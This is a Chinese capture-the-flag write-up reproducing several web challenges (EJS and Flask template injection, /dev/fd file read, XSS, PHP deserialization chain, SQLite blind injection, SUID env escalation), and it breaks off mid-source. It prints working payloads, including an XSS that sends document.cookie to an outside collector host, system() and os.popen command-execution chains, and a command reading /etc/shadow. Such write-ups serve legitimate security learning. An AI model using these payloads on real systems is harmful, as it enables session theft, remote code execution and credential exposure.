第十六届极客大挑战 web 复现

跟着大佬的文章复现

第十六届极客大挑战 web题型WP | CN-SEC 中文网

第16届极客大挑战-web - J_0k3r

可能还需要做的,学习sql注入脚本咋写的,phar深入理解

Expression

描述:这个程序员偷懒直接复制粘贴网上的代码连 JWT 密钥都不改..?

直接那jwt用爆破一下,发现是secret

但是没东西,发现显示用户名,可能有ssti,emm

从图中可以看到,该项目使用了 Node.js + Express 框架,而 EJS 是 Express 最常用的模板引擎之一(Express 默认支持 EJS)

第一次接触这个模板。

Ejs简介:

EJS是一个javascript模板库,用来从json数据中生成HTML字符串

  • 功能:缓存功能,能够缓存好的HTML模板;
  • <% code %>用来执行javascript代码

基础用法:

标签:

所有使用 <% %> 括起来的内容都会被编译成 Javascript,可以在模版文件中像写js一样Coding

语法对比表

语法作用特点
<% %>执行 JS 代码(无输出)流程控制专用
<%= %>输出表达式结果(转义 HTML)安全输出,防 XSS
<%- %>输出表达式结果(不转义 HTML)适合渲染富文本,有风险
<%# %>EJS 注释不执行、不显示
<%% %>输出字面量<%转义 EJS 语法标签

这里jwt的username会被渲染

一、代码逐段解析

1. setInterval.constructor('return process')()

  setInterval 是 JavaScript 的内置函数,它的constructor指向Function 构造函数(所有函数的构造器都是Function)。

Function构造函数可以接收字符串形式的代码,执行后返回结果。这里'return process'会被执行,返回 Node.js 的process对象(process是 Node.js 的核心对象,暴露进程信息和底层 API)。2. .mainModule.require('child_process')

  process.mainModule指向 Node.js 应用的主模块,通过require('child_process')加载 Node.js 的子进程模块(用于执行系统命令)。

3. .execSync('ls').toString()

  child_process.execSync('ls') 同步执行系统命令ls(列出当前目录文件),返回 Buffer 类型结果;.toString()将 Buffer 转为字符串,方便输出查看。

是的,通用 EJS 模板注入 Payload 的构造和使用,确实需要对 JavaScript(尤其是 Node.js 环境)有一定了解
再说吧,以后遇到黑名单在学。

Vibe SEO

目录扫到sitemap.xml,然后根据aa__^^.php

根据报错信息,意思就是缺少一个filename参数

我们直接读取当前aa__^^.php文件

  1. <?php$flag = fopen('/my_secret.txt', 'r');if(strlen($_GET['filename'])< 11){readfile($_GET['filename']);} else {echo "Filename too long";}

得到源码

flag在/my_secret.txt文件中,但是传参的长度要小于11

所以正常的读取就不行了

这里就需要引入一个类Unix系统中的一个特殊目录,`/dev/fd``,全称是 "file descriptors"(文件描述符),它提供了一种通过文件系统路径访问进程已打开文件的方式。

每个运行中的进程都会维护一个文件描述符表(file descriptor table),其中记录了该进程当前打开的所有文件(包括普通文件、管道、网络连接、终端等),每个文件对应一个非负整数(如 0、1、2等,称为文件描述符)。

/dev/fd目录中会动态生成以这些文件描述符数字命名的特殊文件(如/dev/fd/0、/dev/fd/1、/dev/fd/2),通过访问这些路径,就可以间接操作进程已打开的对应文件。

进程启动时默认打开 3 个文件描述符,对应 /dev/fd中的固定路径:

•/dev/fd/0:标准输入(stdin),通常对应终端的输入(如键盘)。

•/dev/fd/1:标准输出(stdout),通常对应终端的输出(如屏幕)。

•/dev/fd/2:标准错误(stderr),通常对应终端的错误输出。

fopen会创建文件描述符,所以my_secret.txt会有一个文件描述符。那么就可以通过/dev/fd/*访问到

然后就bp发包爆破就行

这里我打的时候不知道有linux的东西,问ai说是用php://fd/

一、php://fd/ 与 Linux 系统 /dev/fd/ 的核心关系

php://fd/ 是 PHP 提供的内置封装协议,而 /dev/fd/ 是类 Unix 系统(Linux、macOS 等)的文件系统特殊目录—— 两者本质上是 “上层封装” 与 “底层实现” 的关系:

  • Linux 的 /dev/fd/ 是系统级的文件描述符访问入口,所有进程都可通过这个路径操作自身已打开的文件描述符;
  • PHP 的 php://fd/ 是对系统 /dev/fd/ 的PHP 层封装,专门让 PHP 脚本通过 “协议语法” 访问当前 PHP 进程的文件描述符,本质上还是调用了系统的 /dev/fd/ 机制。

二、具体区别与联系

维度php://fd/Linux /dev/fd/
归属层面PHP 语言内置协议(用户态封装)系统文件系统(内核态实现)
访问范围仅当前 PHP 进程的文件描述符任意进程的文件描述符(需权限)
语法格式php://fd/[数字](如 php://fd/3/dev/fd/[数字](如 /dev/fd/3
依赖环境仅 PHP 环境可用,与系统无关(Windows 下 PHP 也模拟支持)仅类 Unix 系统(Linux、macOS 等)存在,Windows 无此目录
本质作用通过 PHP 协议访问文件描述符通过文件系统路径访问文件描述符

三、为什么在这个场景中两者都能用?

你遇到的场景是 PHP 脚本运行在 Linux 系统上:

  1. 脚本中用 fopen('/my_secret.txt', 'r') 打开了文件,会生成一个文件描述符(比如 3,因为 0/1/2 被标准输入 / 输出 / 错误占用);
  2. 用 filename=/dev/fd/3 或 filename=php://fd/3 都能访问这个已打开的文件 —— 前者是直接访问系统路径,后者是通过 PHP 协议间接访问,最终效果一致;
  3. 两者的长度都小于 11(/dev/fd/3是 8 位,php://fd/3是 9 位),都满足strlen($_GET['filename']) < 11的限制,因此都能绕过长度检查读取文件。

四、总结

  • /dev/fd/ 是 Linux 系统的 “原生功能”,所有运行在 Linux 上的程序(包括 PHP)都能直接用;
  • php://fd/ 是 PHP 为了统一协议语法(比如和php://filter/等保持一致)做的封装,更贴合 PHP 的使用习惯,且跨系统兼容性更好(比如 Windows 下 PHP 也能通过php://fd/访问文件描述符,而 Windows 本身没有/dev/fd/);
  • 在你的 Linux+PHP 场景中,两者等价,核心都是利用 “已打开文件的描述符” 绕过长度限制读取目标文件。

噢噢噢噢,我想起来了php://fd/13 字符数超了,当时只能跑个位数。

Xross The Finish Line

xss过滤了单引号、双引号、空格、+、换行、回车、<img

空格用/绕过、引号用反引号

是时候复习一下xss的绕过了

大小写

不用script

•<svg οnlοad=alert(1)>•<iframe src=javascript:alert(1)>•<a οnmοuseοver=alert(document.cookie)>xxs link</a>•<a href=javascript:alert(1)>link</a>•<img src=x οnerrοr=alert(1)></img>

大佬的payload

  1. <body/**/onload=location.href=`http://115.120.236.65:5555/xs/1.php?cookie=`+document.cookie>

可以用这里<svg/**/οnlοad=alert(1)>

过滤的空格可以用/**/绕过

2. JavaScript 中的/**/

在 JS 代码里,/**/是多行注释,解析器会跳过注释内容,不影响代码语法结构。例如:

  • 原 JS:onload=location.href=xxx
  • 插入/**/onload=location/**/.href=xxx

JS 引擎执行时,会忽略location.href之间的/**/,代码逻辑和没有注释时完全一致。

最后payload

<body/**/onload=location.href=`https://8tbkyalk.requestrepo.com/?cookie=`+document.cookie>

这个 Payload 是针对 XSS 漏洞的Cookie 盗取攻击代码,结合了 HTML/JS 语法特性和绕过技巧,完整讲解如下:

一、整体结构与核心目的

html

预览

<body/**/onload=location.href=`https://8tbkyalk.requestrepo.com/?cookie=`+document.cookie> 

核心目的:当页面加载完成时,自动将当前网站的 Cookie 信息发送到攻击者的接收地址(requestrepo.com),实现 Cookie 盗取(进而冒充用户登录)。

二、逐段拆解分析

1. <body/**/onload=
  • <body>:HTML 的主体标签,页面所有可见内容都嵌套在其中,是触发页面加载事件的常用标签;
  • /**/多行注释符号,这里用来替代空格(绕过目标网站对空格的过滤规则)。HTML 解析器会忽略注释内容,最终等价于<body onload=
  • onload=<body>标签的加载事件属性,表示 “页面完全加载后自动执行后面的 JavaScript 代码”(无需用户点击 / 交互,隐蔽性极强)。
2. location.href=
  • location.href是 JavaScript 的内置属性,作用是控制浏览器跳转或访问指定 URL。当给它赋值时,浏览器会自动跳转到赋值的地址。
3. https://8tbkyalk.requestrepo.com/?cookie=
  • 这是攻击者的Cookie 接收地址requestrepo.com平台生成的专属地址);
  • ?cookie=是 URL 的参数键名,用于标识后续传递的是 Cookie 数据;
  • 反引号(`):替代单引号 / 双引号(绕过目标网站对引号的过滤),JS 会将反引号内的内容识别为字符串(等价于用双引号包裹:"https://xxx?cookie=")。
4. +document.cookie
  • +:JavaScript 的字符串拼接符,将前面的接收地址和后面的 Cookie 值拼接成完整 URL;
  • document.cookie:JavaScript 的内置属性,会获取当前页面的所有 Cookie 信息(如登录凭证PHPSESSID=xxx、用户身份信息等)。

三、执行流程(通俗理解)

  1. 受害者访问包含这个 Payload 的页面 → 页面加载完成触发<body>onload事件;
  2. JS 代码执行:拼接出完整的 URL(例如https://8tbkyalk.requestrepo.com/?cookie=PHPSESSID=123456; user=admin);
  3. 浏览器自动跳转到这个 URL → requestrepo.com平台接收并记录带 Cookie 参数的请求;
  4. 攻击者登录requestrepo.com查看记录,就能拿到受害者的 Cookie,实现冒充登录等攻击。

四、关键绕过技巧总结

  • /**/替代空格:绕过目标对空格的过滤;
  • 反引号替代引号:绕过目标对单 / 双引号的过滤;
  • onload无交互触发:无需用户操作,页面加载即执行,隐蔽性高。

这个 Payload 的设计精准利用了 HTML/JS 的原生特性,同时针对性绕过了目标网站的过滤规则,是典型的 “无交互 XSS 盗取 Cookie” 攻击手段~

这题流程,在评论区存在xss,然后注入xss代码,然后点击报告管理员,管理员访问这个评论区,触发js代码,把cookie发给设定的网址。就获取到管理员的cookie了。这个存储型xss就是只要受害这访问这个网站就会获取它的cookie。

popself

<?php show_source(__FILE__); error_reporting(0); class All_in_one { public $KiraKiraAyu; public $_4ak5ra; public $K4per; public $Samsāra; public $komiko; public $Fox; public $Eureka; public $QYQS; public $sleep3r; public $ivory; public $L; public function __set($name, $value){ echo "他还是没有忘记那个".$value."<br>"; echo "收集夏日的碎片吧<br>"; $fox = $this->Fox; if ( !($fox instanceof All_in_one) && $fox()==="summer"){ echo "QYQS enjoy summer<br>"; echo "开启循环吧<br>"; $komiko = $this->komiko; $komiko->Eureka($this->L, $this->sleep3r); } } public function __invoke(){ echo "恭喜成功signin!<br>"; echo "welcome to Geek_Challenge2025!<br>"; $f = $this->Samsāra; $arg = $this->ivory; $f($arg); } public function __destruct(){ echo "你能让K4per和KiraKiraAyu组成一队吗<br>"; if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) { if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){ die("boys和而不同<br>"); } if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){ echo "BOY♂ sign GEEK<br>"; echo "开启循环吧<br>"; $this->QYQS->partner = "summer"; } else { echo "BOY♂ can`t sign GEEK<br>"; echo md5(md5($this->KiraKiraAyu))."<br>"; echo md5($this->K4per)."<br>"; } } else{ die("boys堂堂正正"); } } public function __tostring(){ echo "再走一步...<br>"; $a = $this->_4ak5ra; $a(); } public function __call($method, $args){ if (strlen($args[0])<4 && ($args[0]+1)>10000){ echo "再走一步<br>"; echo $args[1]; } else{ echo "你要努力进窄门<br>"; } } } class summer { public static function find_myself(){ return "summer"; } } $payload = $_GET["24_SYC.zip"]; if (isset($payload)) { unserialize($payload); } else { echo "没有大家的压缩包的话,瓦达西!<br>"; } ?> 没有大家的压缩包的话,瓦达西!

第一步get传参24_SYC.zip,考虑到php的特性,需要用[来替换_,也就是传参24[SYC.zip

后面就是反序列化了,第一步也就是__destruct(),先进行强弱比较0e绕过,这个比较简单,直接给

  1. $a->KiraKiraAyu='f2WfQ';$a->K4per='0e215962017';__dustruct()-->__set()-->__call()-->__tostring()-->__invoke()触发__set():$a->QYQS=$a;
  • __destruct():对象销毁时触发,是本题利用链起点。
  • __set():给对象不存在 / 不可访问属性赋值时触发。
  • __call():调用对象不存在 / 不可访问方法时触发。
  • __invoke():对象被当作函数调用时触发。
  • __toString():对象被当作字符串使用时触发。

学到了新东西,

要进入__set()里的if块,核心是满足 **__set的触发前提 **+两个条件判断,结合 PHP 的特性拆解如下:

1. 先触发__set方法

main对象的__destruct()里执行了$this->QYQS->partner = "summer"

  • $this->QYQS指向的是qyqs对象;
  • qyqs对象没有partner属性(类里定义的属性是Foxkomiko等,无partner);
  • 给对象不存在的属性赋值,触发qyqs对象的__set()方法 —— 这是进入__set函数体的前提。

2. 解析if的两个条件

条件 1:!($fox instanceof All_in_one)

$fox = $this->Fox; → $thisqyqs对象,$fox就是你设置的["summer", "find_myself"](数组)。instanceof用来判断变量是否是某个类的实例,数组显然不是All_in_one的实例,因此!($fox instanceof All_in_one)结果为true

条件 2:$fox() === "summer"

这是 PHP 的回调函数特性:如果数组是[类名, 静态方法名]的格式,调用这个数组($fox())会执行对应类的静态方法。你设置的$fox = ["summer", "find_myself"],调用$fox()等价于执行summer::find_myself();而summer类的find_myself()方法正好返回"summer",因此$fox() === "summer"结果为true

3. 最终进入if

两个条件都满足,因此执行if内的逻辑:调用$komiko->Eureka(...),继续推进利用链。

简单说:先通过 “给不存在的属性赋值” 触发__set,再靠数组回调的特性满足if条件,最终进入代码块。

$args[0]是调用Eureka方法时传递的第一个参数,对应代码里的$this->L(也就是你给qyqs对象设置的L属性值:"1e5")。

具体来源:

触发__call()的代码是$komiko->Eureka($this->L, $this->sleep3r)(在__set()里):

  • Eureka是要调用的方法名(不存在,所以触发__call);
  • $this->L是第一个参数 → 对应$args[0]
  • $this->sleep3r是第二个参数 → 对应$args[1]

你设置的$qyqs->L = "1e5"正好满足条件:

  • strlen("1e5") = 3 < 4
  • "1e5" + 1 = 100001 > 10000(PHP 会把"1e5"当作科学计数法的100000处理)。

所以$args[0]就是"1e5",这也是为什么能进入if块并输出$args[1](即sleep3r对象)的原因

是的,$args[1]确实被设置成了对象 —— 具体是你之前创建的$sleep3r对象(All_in_one类的实例)。

具体来源:

触发__call()的代码是$komiko->Eureka($this->L, $this->sleep3r)(在__set()里):

  • 第二个参数是$this->sleep3r,而你给qyqs对象的sleep3r属性赋值为$sleep3r = new All_in_one()(创建的All_in_one对象);
  • 因此$args[1]就是这个$sleep3r对象。

关键影响:

__call()里执行echo $args[1]时,因为$args[1]是对象,PHP 会自动触发该对象的__toString()魔术方法(对象被当作字符串输出时触发),这也是你后续能触发__invoke()的关键。

exp

<?php class All_in_one { public $Samsāra; public $ivory; public $_4ak5ra; public $KiraKiraAyu; public $K4per; public $QYQS; public $Fox; public $komiko; public $Eureka; public $sleep3r; public $L; } // 构建对象 $sleep3r = new All_in_one(); $sleep3r->Samsāra = "system"; $sleep3r->ivory = "printenv"; $sleep3r->_4ak5ra = $sleep3r; $qyqs = new All_in_one(); $qyqs->KiraKiraAyu = "NnWWBiYnDZ5CCLbZap5z"; $qyqs->K4per = "s1885207154a"; $qyqs->QYQS = null; $qyqs->Fox = ["summer", "find_myself"]; $qyqs->L = "1e5"; $qyqs->sleep3r = $sleep3r; $main = new All_in_one(); $main->KiraKiraAyu = "NnWWBiYnDZ5CCLbZap5z"; $main->K4per = "s1885207154a"; $main->QYQS = $qyqs; $qyqs->komiko = $main; echo urlencode(serialize($main)); ?>

反序列化主对象

→ 触发 __destruct()(题目隐式调用)

→ 调用 $this->QYQS->KiraKiraAyu(..., $this->QYQS->sleep3r)

→ 因 QYQS 无此方法,触发 __call

→ __call 中 echo $sleep3r

→ 触发 $sleep3r->__toString()

→ $sleep3r->__toString() 调用 $this->_4ak5ra()(即自身)

→ 触发 $sleep3r->__invoke()

→ 执行 system("printenv")

ezread

随便注册个账号后

读取/proc/1/environ

读取 /proc/1/environ 是Linux 系统下信息收集的关键操作,结合你的场景可以从以下几点理解原因:

1. /proc 文件系统的特性

/proc 是 Linux 内核提供的虚拟文件系统,不存储在磁盘上,而是实时反映内核和进程的运行状态。其中 /proc/[pid]/environ 会保存对应 PID 进程的环境变量信息(以 key=value 形式存储,用 \0 分隔)。

容器环境中(比如你遇到的场景),PID=1 的进程通常是应用的主进程(而非宿主机的 init),它的环境变量会包含容器内部的关键配置、路径、服务信息等 —— 这些是常规文件读取无法直接获取的。

2. 你的场景中读取 /proc/1/environ 的价值

  • 获取关键路径:从 environ 里你拿到了 PWD=/opt/___web_very_strange_42___HOME=/opt/___web_very_strange_42___,直接暴露了应用的工作目录,进而能读取 /opt/___web_very_strange_42___/app.py 拿到源码;
  • 获取提示信息HINT=用我提个权吧 给出了后续渗透的方向;
  • 绕开直接限制:直接读 /flag 会返回 500 错误(被限制),但 /proc 文件系统的内容通常不会被简单拦截,成为突破点;
  • 容器环境的信息补充environ 里还包含大量容器内的服务地址、端口等,能帮助理解环境架构,为后续提权 / 横向移动铺垫。

3. 为什么选 PID=1?

在容器中,PID 1 是第一个启动的进程(应用主进程),它的环境变量会继承容器启动时的配置(比如 Dockerfile 的 ENV、K8s 的环境变量配置等),包含的信息最全面;如果读其他 PID,可能是子进程,信息会更少。

总结来说:当直接读取敏感文件(如 /flag)被限制时,/proc/1/environ 是低成本、高回报的信息收集入口—— 它能暴露应用的工作路径、配置线索甚至渗透方向,为后续突破提供关键依据。

从 /proc/1/environ 里能看到 PYTHON_VERSION=3.11.14PYTHONUNBUFFERED=1 等环境变量,直接暴露了应用是Python 开发的 

读取/opt/___web_very_strange_42___/app.py

得到源码

from flask import Flask, request, render_template, render_template_string, redirect, url_for, session import os app = Flask(__name__, template_folder="templates", static_folder="static") app.secret_key = "key_ciallo_secret" USERS = {} def waf(payload: str) -> str: print(len(payload)) if not payload: return "" if len(payload) not in (114, 514): return payload.replace("(", "") else: waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"] for w in waf: if w in payload: raise ValueError(f"waf") return payload @app.route("/") def index(): user = session.get("user") return render_template("index.html", user=user) @app.route("/register", methods=["GET", "POST"]) def register(): if request.method == "POST": username = (request.form.get("username") or "") password = request.form.get("password") or "" if not username or not password: return render_template("register.html", error="用户名和密码不能为空") if username in USERS: return render_template("register.html", error="用户名已存在") USERS[username] = {"password": password} session["user"] = username return redirect(url_for("profile")) return render_template("register.html") @app.route("/login", methods=["GET", "POST"]) def login(): if request.method == "POST": username = (request.form.get("username") or "").strip() password = request.form.get("password") or "" user = USERS.get(username) if not user or user.get("password") != password: return render_template("login.html", error="用户名或密码错误") session["user"] = username return redirect(url_for("profile")) return render_template("login.html") @app.route("/logout") def logout(): session.clear() return redirect(url_for("index")) @app.route("/profile") def profile(): user = session.get("user") if not user: return redirect(url_for("login")) name_raw = request.args.get("name", user) try: filtered = waf(name_raw) tmpl = f"欢迎,{filtered}" rendered_snippet = render_template_string(tmpl) error_msg = None except Exception as e: error_msg = f"渲染错误: {e}" return render_template( "profile.html", content=rendered_snippet, name_input=name_raw, user=user, error_msg=error_msg, ) @app.route("/read", methods=["GET", "POST"]) def read_file(): user = session.get("user") if not user: return redirect(url_for("login")) base_dir = os.path.join(os.path.dirname(__file__), "story") try: entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))]) except FileNotFoundError: entries = [] if request.method == "POST": filename = request.form.get("filename") or "" else: filename = request.args.get("filename") or "" content = None error = None if filename: sanitized = filename.replace("../", "") target_path = os.path.join(base_dir, sanitized) if not os.path.isfile(target_path): error = f"文件不存在: {sanitized}" else: with open(target_path, "r", encoding="utf-8", errors="ignore") as f: content = f.read() return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user) if __name__ == "__main__": app.run(host="0.0.0.0", port=8080, debug=False)

Flask SSTI+ WAF 绕过题

触发点在 /profile

name_raw = request.args.get("name", user) filtered = waf(name_raw) tmpl = f"欢迎,{filtered}" rendered_snippet = render_template_string(tmpl) 

用[]获取属性可以绕过关键字过滤

{{ url_for[("__glo" ~ "bals__")]["os"].popen("ls / -al ").read() }}{#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#}

if len(payload) not in (114, 514):
        return payload.replace("(", "")

这里是114或514,不是114到514

是的,代码中的 (114, 514) 是元组(tuple),这是 Python 中的一种不可变序列类型。

-r--------   1 root root   69 Nov 30 11:09 flag
只有root有读的权限,当前是ctf用户没有读的权限

find / -perm -u=s -type f 2>/dev/null

这条命令是 Linux 下用于查找系统中所有设置了 SUID 权限位的普通文件的经典指令,常用于安全审计或权限排查。下面逐部分拆解说明:

1. 命令各组件解析

组件作用
find /启动 find 查找工具,从 ** 根目录(/)** 开始递归遍历所有文件 / 目录
-perm -u=s权限筛选条件:匹配用户(owner)权限位设置了 SUID的文件
-type f限定查找类型为普通文件(file),排除目录、符号链接、设备文件等
2>/dev/null将 ** 标准错误输出(stderr,文件描述符为 2)** 重定向到空设备,忽略权限不足等报错

2. 关键细节:SUID 权限与 -perm -u=s

  • SUID(Set User ID):Linux 特殊权限位之一,作用是普通用户执行该文件时,会临时获得文件所有者的权限(比如 /usr/bin/passwd 是 root 所有且带 SUID,普通用户执行时能临时获得 root 权限修改密码)。
  • -perm -u=s 的等价写法:-perm 4000(SUID 的数值表示为 4000,u=s 是符号化写法);若去掉前面的 -(写成 perm u=s)则表示精确匹配权限(仅文件权限刚好是 SUID 时匹配),而 -perm -u=s 表示文件权限至少包含 SUID 位(更常用)。

env 能用于提权,核心是它的SUID 权限特性 + 功能通用性,和其他 SUID 程序(如sugpasswdmount等)有本质区别,具体拆解如下:

一、SUID 程序的核心差异:功能定位决定利用难度

SUID 的本质是程序以文件所有者(通常是 root)的权限运行,但不同 SUID 程序的设计目的和功能限制完全不同:

1. 其他 SUID 程序(如su/gpasswd/mount):专用工具,有严格限制
  • su:用于切换用户,但必须输入目标用户(如 root)的密码才能提权,没有密码无法利用;
  • gpasswd:仅用于管理用户组,功能被严格限定,无法直接执行任意命令;
  • mount:仅用于挂载文件系统,需要特定参数且操作受系统规则约束,没法直接读 flag 或执行 shell;这些程序是 **“专用工具”**,设计上就限制了滥用场景,即使有 SUID 也很难直接提权。
2. env:通用工具,可直接执行任意命令

env的核心功能是设置 / 修改环境变量并执行其他程序,本身是 “通用执行器”—— 它可以直接传递参数调用其他命令(比如env whoamienv cat /flag)。当env被设置了 SUID 且所有者是 root 时,运行env的瞬间,整个进程就会以root 权限执行后续命令,相当于 “借 root 的身份干任何事”,无需密码、无需特殊参数,直接利用。

二、env能提权的关键条件

  1. env本身有 SUID 权限:你场景中/usr/local/bin/env被设置了 SUID(ls -l /usr/local/bin/env会看到权限位有s,如-rwsr-xr-x),且所有者是 root—— 这是基础,没有 SUID 的话env就是普通权限。
  2. env的功能无限制:不像su需要验证、mount有功能约束,env可以直接拼接任意命令执行(如env cat /flag),相当于把 root 权限的 “执行权” 直接交给了你。

三、总结:env和其他 SUID 程序的核心区别

特性env其他 SUID 程序(su/gpasswd/mount
功能定位通用命令执行工具专用系统工具(切换用户 / 管理组 / 挂载)
利用门槛无额外限制,直接传命令需要密码 / 特定参数 / 系统约束
权限利用效率直接提权执行任意命令几乎无法直接提权

简单说:env是 “带 root 权限的万能执行器”,而其他 SUID 程序是 “带 root 权限的专用工具”—— 前者能直接为你所用,后者被功能锁死,这就是env能提权的核心原因。

sudo -l没东西

  1. 先执行 sudo -l:如果能拿到免密执行的 root 权限命令,这是最快捷的提权方式,无需绕路;
  2. 若 sudo -l 无权限,再执行 find / -perm -u=s -type f 2>/dev/null:从结果中找可利用的 SUID 程序(如 env/bash/nmap 等),尝试提权。

env 命令后面完全可以拼接内容,具体拼接的内容类型和效果取决于 env 的语法规则以及你要实现的目标。结合你给出的 SSTI 注入 payload,下面分情况详细说明:

1. env 的基础语法

env 的核心语法是:

env [选项] [环境变量=值]... [要执行的命令 [命令参数]] 
  • 如果 env 后直接跟命令 + 参数(如你 payload 里的 env cat /flag),env 会以当前环境变量执行后面的命令;
  • 如果 env 后先跟环境变量设置(如 env PATH=/tmp cat /flag),再跟命令,env 会先设置指定环境变量,再执行命令;
  • 如果 env 后拼接多个命令 / 参数(如 env cat /flag /etc/passwd 或 env cat /flag;id),shell 会按规则解析执行。

2. env 后可拼接的内容类型

(1)拼接命令参数

比如在你原 payload 基础上,拼接多个文件路径让 cat 同时读取:

env cat /flag /etc/passwd # 同时读取/flag和/etc/passwd 

这里 env 后拼接了 cat 的额外参数 /etc/passwd,完全合法且会被执行。

(2)拼接环境变量配置

可以先设置环境变量,再执行命令:

env PATH=/usr/local/sbin LC_ALL=C cat /flag # 设置PATH和LC_ALL后执行cat 

env 会先应用这些环境变量,再运行后面的 cat /flag

(3)拼接额外命令(命令注入场景)

如果是在命令注入的场景下,还能通过 shell 分隔符(;/&&/||)拼接额外命令:

env cat /flag;id # 先执行cat /flag,再执行id env cat /flag && whoami # 仅当cat /flag成功时,执行whoami 

env 本身不限制这种拼接,因为 shell 会先解析分隔符,再执行对应的命令链。

(4)拼接 env 自身的选项

env 也支持一些选项(如 -i 清空环境变量、-u 删除某个环境变量),可以拼接在后面:

env -i cat /flag # 清空所有环境变量后执行cat /flag env -u PATH cat /flag # 删除PATH环境变量后执行cat /flag 

3. 结合你的 SSTI payload 说明

你原 payload 里的 env cat /flag 是 env 后直接拼接 “命令 + 参数” 的用法,属于 env 的常规用法。如果需要扩展,比如想读取更多文件或执行额外命令,直接拼接即可,例如:

{{ url_for[("__glo" ~ "bals__")]["os"].popen("/usr/local/bin/env cat /flag /etc/shadow;id").read() }} 

这里 env 后拼接了 cat 的多个参数和额外的 id 命令,shell 会正常解析执行。

总结

env 后不仅可以拼接命令、参数,还能拼接环境变量配置、shell 命令链甚至自身选项 —— 本质是 env 会把后面的内容当作 “要执行的命令行片段” 交给 shell 处理,只要符合 shell 语法,拼接就会生效。

Sequal No

sql注入

只有3种回显

存在用户/不存在用户/非法输入

存在用户就是表达式为真

过滤了空格,布尔盲注表名

你说:

  • 1'or%20显示:未找到用户或已停用
  • 1'or%20u显示:非法输入

也就是说:

  • 只有一个空格(%20)时不触发过滤
  • 空格后面加任何字符就触发过滤

这说明过滤器大概率不是过滤 %20 本身,而是过滤某种SQL 注入常见模式

/check.php?name=1'or/**/substr((select/**/group_concat(name)/**/from/**/sqlite_master),1-100,1)='ascii可打印字符'--

查完表,这是sqlite注入

  1. 系统表sqlite_master的存在:SQLite 中sqlite_master是内置系统表,存储数据库中所有表、视图等对象的元数据(包括表名、创建 SQL 语句),因此注入语句可通过查询该表获取users表的信息。

注 建表语句

1'or/**/substr((select/**/sql/**/from/**/sqlite_master/**/where/**/name='users'),{{int(0-200)}},1)='ascii可打印字符'--

最后得到表

1 
users,sqlite_autoindex_users_1,sqlite_sequence 

users的建表语句

1 2 3 4 5 6 7 
CREATE TABLE users( id INTEGER PRIMARY KEY, username TEXT, password TEXT, is_active INTEGER, -- 或 BOOLEAN/TEXT secret TEXT ); 

flag在secret

1 
1'or/**/substr((select/**/secret/**/from/**/users),N,1)='X'--

ez-seralize

index.php

<?php ini_set('display_errors', '0'); $filename = isset($_GET['filename']) ? $_GET['filename'] : null; $content = null; $error = null; if (isset($filename) && $filename !== '') { $balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"]; foreach ($balcklist as $v) { if (strpos($filename, $v) !== false) { $error = "no no no"; break; } } if ($error === null) { if (isset($_GET['serialized'])) { require 'function.php'; $file_contents= file_get_contents($filename); if ($file_contents === false) { $error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename); } else { $content = $file_contents; } } else { $file_contents = file_get_contents($filename); if ($file_contents === false) { $error = "Failed to read file or file does not exist: " . htmlspecialchars($filename); } else { $content = $file_contents; } } } } else { $error = null; } ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title>File Reader</title> <style> :root{ --card-bg: #ffffff; --page-bg: linear-gradient(135deg,#f0f7ff 0%,#fbfbfb 100%); --accent: #1e88e5; --muted: #6b7280; --success: #16a34a; --danger: #dc2626; --card-radius: 12px; --card-pad: 20px; } html,body{height:100%;margin:0;font-family: Inter, "Segoe UI", Roboto, "Helvetica Neue", Arial;} body{ background: var(--page-bg); display:flex; align-items:center; justify-content:center; padding:24px; } .card{ width:100%; max-width:820px; background:var(--card-bg); border-radius:var(--card-radius); box-shadow: 0 10px 30px rgba(16,24,40,0.08); padding:var(--card-pad); } h1{margin:0 0 6px 0;font-size:18px;color:#0f172a;} p.lead{margin:0 0 18px 0;color:var(--muted);font-size:13px} form.controls{display:flex;gap:10px;flex-wrap:wrap;align-items:center;margin-bottom:14px} input[type="text"]{ flex:1; padding:10px 12px; border:1px solid #e6e9ef; border-radius:8px; font-size:14px; outline:none; transition:box-shadow .12s ease,border-color .12s ease; } input[type="text"]:focus{box-shadow:0 0 0 4px rgba(30,136,229,0.08);border-color:var(--accent)} button.btn{ padding:10px 16px; background:var(--accent); color:white; border:none; border-radius:8px; cursor:pointer; font-weight:600; } button.btn.secondary{ background:#f3f4f6;color:#0f172a;font-weight:600;border:1px solid #e6e9ef; } .hint{font-size:12px;color:var(--muted);margin-top:6px} .result{ margin-top:14px; border-radius:8px; overflow:hidden; border:1px solid #e6e9ef; } .result .meta{ padding:10px 12px; display:flex; justify-content:space-between; align-items:center; background:#fbfdff; font-size:13px; color:#111827; } .result .body{ padding:12px; background:#0b1220; color:#e6eef8; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, "Roboto Mono", monospace; font-size:13px; line-height:1.5; max-height:520px; overflow:auto; white-space:pre-wrap; word-break:break-word; } .alert{padding:10px 12px;border-radius:8px;font-weight:600;margin-top:12px;} .alert.warn{background:#fff7ed;color:#92400e;border:1px solid #ffedd5} .alert.error{background:#fff1f2;color:#9f1239;border:1px solid #fecaca} .alert.info{background:#ecfeff;color:#064e3b;border:1px solid #bbf7d0} .footer{margin-top:12px;font-size:12px;color:var(--muted)} @media (max-width:640px){ .card{padding:16px} .result .meta{font-size:12px} } </style> </head> <body> <div> <h1>📄 File Reader</h1> <p>在下面输入要读取的文件</p> <form method="get"> <input type="text" name="filename" value="<?php echo isset($_GET['filename']) ? htmlspecialchars($_GET['filename'], ENT_QUOTES) : ''; ?>" /> <button type="submit">读取文件</button> <a>重置</a> </form> <?php if ($error !== null && $error !== ''): ?> <div role="alert"><?php echo htmlspecialchars($error, ENT_QUOTES); ?></div> <?php endif; ?> <!--RUN printf 